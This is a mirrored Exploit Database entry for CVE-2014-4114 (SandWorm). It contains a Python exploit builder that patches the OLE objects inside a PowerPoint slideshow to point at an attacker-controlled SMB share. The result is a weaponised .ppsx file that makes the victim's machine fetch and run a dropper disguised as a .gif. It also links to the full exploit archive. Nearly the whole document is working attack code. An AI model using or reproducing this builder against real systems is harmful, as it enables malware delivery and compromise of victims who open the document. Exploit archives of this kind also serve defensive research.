Microsoft Windows – OLE Package Manager SandWorm

• Exploit Database
• 11 阅读

• 作者： Vlad Ovtchinikov
  日期： 2014-10-20
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35019/

• #!/usr/bin/env python
  import os
  import zipfile
  import sys
  
  '''
  Full Exploit: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35019.tar.gz
  
  Very quick and ugly [SandWorm CVE-2014-4114] exploit builder
  Exploit Title: CVE-2014-4114 SandWorm builder
  Built to run on: Linux/MacOSX
  Date: 17/10/2014
  Exploit Author: Vlad Ovtchinikov (@v1ad_o)
  Vendor Homepage: microsoft.com
  Tested on: Win7Sp1 64 bit- Microsoft Offcie 2013 Plus
  Demo: http://youtu.be/ljjEkhflpvM
  CVE : CVE-2014-4114
  NOTE:
  expl.inf (md5 8313034e9ab391df83f6a4f242ec5f8d) + expl.zip (md5 4a39121a60cc79d211fc7f7cfe00b707)
  should be located in the samedir as the builder.
  01:39 cve-2014-4114.py
  19:35 expl.inf
  15:37 expl.zip
  
  e.g.python cve-2014-4114.py 10.0.0.233 rdb xxx.exe
  10.0.0.233 - ip
  rdb - share
  xxx.exe - dropper
  '''
  host=sys.argv[1]
  share=sys.argv[2]
  mal_file=sys.argv[3]
  
  print "\nPoC exploit builder v0.1 for logical OLE flaw in packager.dll [CVE-2014-4114] by vlad@sensepost.com @v1ad_o\n"
  print "Building ... \n "
  
  # extract the original .ppsx PoC
  mal_file= mal_file.replace(' ', '')[:-4].lower()
  fh = open('expl.zip', 'rb')
  z = zipfile.ZipFile(fh)
  for name in z.namelist():
  outpath = "./tmp"
  z.extract(name, outpath)
  fh.close()
  
  os.mkdir('out')
  os.chdir('tmp')
  
  # oleObject1.bin mod for GIF
  infile = open('ppt/embeddings/oleObject1.bin')
  outfile = open('ppt/embeddings/1.bin','w')
  replacements = {'10.0.0.34':host,'public':share,'slide1.gif':mal_file+'.gif'}
  for line in infile:
  for src, target in replacements.iteritems():
  line = line.replace(src, target)
  outfile.write(line)
  infile.close()
  outfile.close()
  os.remove ('ppt/embeddings/oleObject1.bin')
  os.rename ('ppt/embeddings/1.bin','ppt/embeddings/oleObject1.bin')
  
  # oleObject2.bin mod for INF
  infile = open('ppt/embeddings/oleObject2.bin')
  outfile = open('ppt/embeddings/2.bin','w')
  replacements = {'10.0.0.34':host,'public':share,'slide1.inf':mal_file+'.inf'}
  for line in infile:
  for src, target in replacements.iteritems():
  line = line.replace(src, target)
  outfile.write(line)
  infile.close()
  outfile.close()
  
  os.remove ('ppt/embeddings/oleObject2.bin')
  os.rename ('ppt/embeddings/2.bin','ppt/embeddings/oleObject2.bin')
  os.system("zip -q-9 -r../out/exploit.ppsx * ")
  os.chdir('..')
  
  # oleObject2.bin mod for INF prep
  infile = open('expl.inf')
  outfile = open('out/'+mal_file+'.inf','w')
  replacements = {'slide1':mal_file}
  for line in infile:
  for src, target in replacements.iteritems():
  line = line.replace(src, target)
  outfile.write(line)
  infile.close()
  outfile.close()
  os.system("rm -rf tmp")
  
  print 'Copy the .inf .gif (renamed file.exe=>file.gif) to:\n'
  print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.gif\n'
  print '*\\\\'+host +'\\'+ share +'\\'+ mal_file+'.inf\n'
  print 'Done - collect your files from the [out] folder.\n'